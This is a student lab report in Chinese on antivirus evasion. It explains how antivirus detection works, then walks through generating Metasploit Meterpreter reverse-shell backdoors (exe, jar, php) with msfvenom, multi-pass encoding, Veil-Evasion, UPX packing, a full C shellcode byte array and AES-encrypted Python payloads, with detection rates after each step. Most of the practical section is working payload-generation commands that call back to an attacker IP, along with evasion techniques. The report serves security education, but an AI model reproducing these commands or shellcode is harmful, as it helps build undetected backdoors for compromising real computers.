Exp3-免杀原理
20191218 Exp3-免杀原理
基础问题回答
(1)杀软是如何检测出恶意代码的?
目前杀毒软件的原理主要有3种:
-
引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。
-
启发式Heuristic,通过程序的一些行为和特征来判断。
-
在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。
(2)免杀是做什么?
免杀就是躲杀软的识别,免杀的基本思想就是破坏特征,这里的特征有可能是特征码,还有可能是行为特征,只要破环了病毒或木马的固有特征,并且保证原有的功能没有改变,那么免杀就算是完成了。
(3)免杀的基本方法有哪些?
1. 改变特征码
-
如果你手里只有EXE,可以通过加壳的方法。加壳又包括压缩壳和加密壳。
-
如果有shellcode(像Meterpreter),可以用encode进行编码,基于payload重新编译生成可执行文件,反复编码降低被查杀的可能性。
-
如果有源代码,用其他语言进行重写再编译(如本次实验使用到的veil-evasion)
2. 改变行为 -
通讯方式
尽量使用反弹式连接,即服务端(被控制端)会主动连接客户端(控制端)。 -
使用隧道技术
隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送,把所有要传送的数据全部封装到合法的报文里进行传送以绕过防火墙。
- 加密通讯数据
- 操作模式
基于内存操作,像基于特征码的查杀大部分是扫描硬盘上的文件,所以可以考虑在用到后门时远程传输放在内存中运行,而不是存在硬盘上。但也有部分杀毒软件会扫描内存,一般可以采用加入nop指令来躲过查杀。减少对系统的修改,加入混淆作用的正常功能代码等都可以达到目的。
(4)开启杀软能绝对防止电脑中恶意代码吗?
肯定是不能的。之前也有分析过,目前各大杀毒软件的原理主要有仨,也就是针对已有、已经发现病毒、恶意代码的特征进行全面排查,但如果出现了新的类型的病毒或者代码,在原有病毒库中根本无法检测到对应样本,或者在正常情况下这个病毒或恶意代码的行为完全正常,只有经过特殊条件才会触发等都会绕过杀毒软件,而高超的黑客是能够做到这些的,也就是说杀软并不是万能的。
实验过程
一、正确使用msf编码器、msfvenom生成如jar之类的其他文件
免杀检测
- 参考实验二Exp2-后门原理与实践中的第三个小实验,在Kali上用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=1218 -f exe > 20191218_backdoor.exe
生成针对Windows的毒化后门可执行程序20191218_backdoor.exe
- 放入VirusTotal和360安全卫士中进行扫描
-
VirusTotal中的扫描结果
69款杀软中53款报出了病毒,不加处理的后门程序能被大部分的杀软检测到 -
360安全卫士杀毒检测结果
- 使用msf编码器多次迭代,生成exe文件
- 编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
在Kali中输入如下命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.174.141 LPORT=1218 -f exe > 20191218exp3.exe
用VirusTotal检测还是能检测出问题
加入多次编码参数-i
,继续尝试
放入360查杀还是会检测出病毒
以上步骤说明简单的多次编码无法实现免杀
生成jar格式的后门文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.174.141 LPORT=1218 -f jar > exp3_jar.jar
病毒检测
有32个机构检测出病毒,再用360安全卫士扫描
生成php格式的后门文件
man msfvenom
查找msf毒化命令的使用说明
使用如下命令生成php格式的后门文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=1218 x> 20191218exp3.php
病毒检测
发现检测出病毒的机构变少了,再用360安全卫士扫描,结果竟然没有发现问题!
下面我们尝试使用嵌入式shellcode,手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率。
二、使用veil,加壳工具
veil的安装
安装命令行
sudo apt-get install veil-evasion
下载成功后,修改setup.sh
:
cd /usr/share/veil/config
sudo vim setup.sh #权限需要提升才能修改
进入vim命令模式输入:set number
显示行号,找到260行,修改下载源
修改完成后继续安装veil
,一路点击下一个(或者默认选项)即可
安装成功!
其中需要注意的是在第一次安装时会显示报错找不到autoit文件,这时参考李烨龙同学提供的解决方案Kali Linux 64位架构安装Veil-Evasion,报错后紧接着在命令行中输入
/usr/share/veil/config/setup.sh --force --silent
即可自动修复错误
使用veil-evasion生成后门程序及检测
用use evasion
命令进入Evil-Evasion
输入命令use c/meterpreter/rev_tcp.py
进入配置界面
设置IP和端口set LHOST 192.168.174.141
和set LPORT 1218
输入generate
生成文件,接着输入命名,如:20191218_veil,如果不输入就是默认为payload
文件保存在/var/lib/veil/output/compiled/20191218_veil.exe`
传到Win10主机上通过VirusTotal检测,仍能被38个机构检测出病毒
对后门进行加壳处理
使用命令upx 20191218_veil.exe -o 20191218exp3veils.exe
进行加壳
再次检测,发现基本没有太大变化
三、使用C + shellcode编程
通过命令用msf生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=1218 -f c
生成攻击代码如下
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x89\xe5\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xae\x8d\x68\x02"
"\x00\x04\xc2\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
下面将攻击代码写进C语言
使用i686-w64-mingw32-g++ exp3.c -o exp3_c.exe
编译成Win10下可执行文件
再次进行检测,检出率还是有所下降的
四、通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil,选择Evasion
输入list
,找到攻击代码
输入use python/shellcode_inject/aes_encrypt.py
输入generate
,并选择2
进行配置
输出到路径/usr/share/veil/
再次检测,发现没有检测出问题!
利用python+aes_encrypt组合攻击的原理是使用了数据加密的方式进行多次编译后门软件
实验心得
本次实验让我能够有机会亲手实践如何给后门加壳、如何实现免杀。虽然我们的尝试都是一些最基础的操作,也没有涉及到复杂的原理和方法,并且生成的攻击程序基本都会被现有的杀毒软件检测出来,但是在这个过程中,我发现随着实验的逐步推进,VirusTotal的检出率也实现了逐步下降,这也带给了我一定的成就感,同时也让我明白了最简单的免杀的原理。此外,本次实验我也充分认识到项目负责人的重要性,之前听一些同学遇到各种问题主要集中在veil安装上,李烨龙同学还有其他动手能力强的同学都在针对问题积极寻找解决方案,我也是得以在他们工作的基础上没碰到障碍、一路畅通地完成了veil的安装,让整个实验流程也更加顺畅。